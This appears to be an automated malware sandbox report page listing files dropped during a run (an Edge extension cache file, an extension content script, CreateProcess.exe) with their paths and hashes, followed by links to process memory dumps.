Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

bac5df3f-3f9d-4ece-b89b-2bcb32f8a6b4.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\bac5df3f-3f9d-4ece-b89b-2bcb32f8a6b4.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir4480_1876114532\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CreateProcess.exe

Path C:\temp\CreateProcess.exe
Size 3KB
SHA256 f0f619fc0389a614306f62ad87ebc7393f0be9d5286d395e6377943fa18556cd
MD5 f13d25f61b2cfe970b0d3ef64e127951
SHA1 1a677da7fd9d658fc22dfacd05022e3d55f5c2ea
SHA512 38eab62329c224e9d7466f59282f43163b5b3964483e1dd2f3d66eb721405dd0025924e82c52aa1cbc8770666317a66dcf3982dbe6b47af4a6c866a14ec263cd
TLSH
T1EE71238357ADC5B3C1DE9FF502839244F2FF22380B63302447915586AB30A3A14B8F04
MD5 SHA1 SHA512 TLSH

Submit Download

memory/616-64-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/932-345-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/932-364-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1760-456-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2216-296-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2352-185-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2568-458-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2568-445-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2916-313-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3232-419-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3464-388-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3740-276-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3880-323-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4160-260-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4484-477-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4500-232-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5064-320-0x00000000008D0000-0x0000000000930000-memory.dmp

Download

memory/5072-354-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5220-440-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5408-408-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5656-318-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5880-380-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/6080-367-0x0000000000010000-0x00000000000AB000-memory.dmp

Download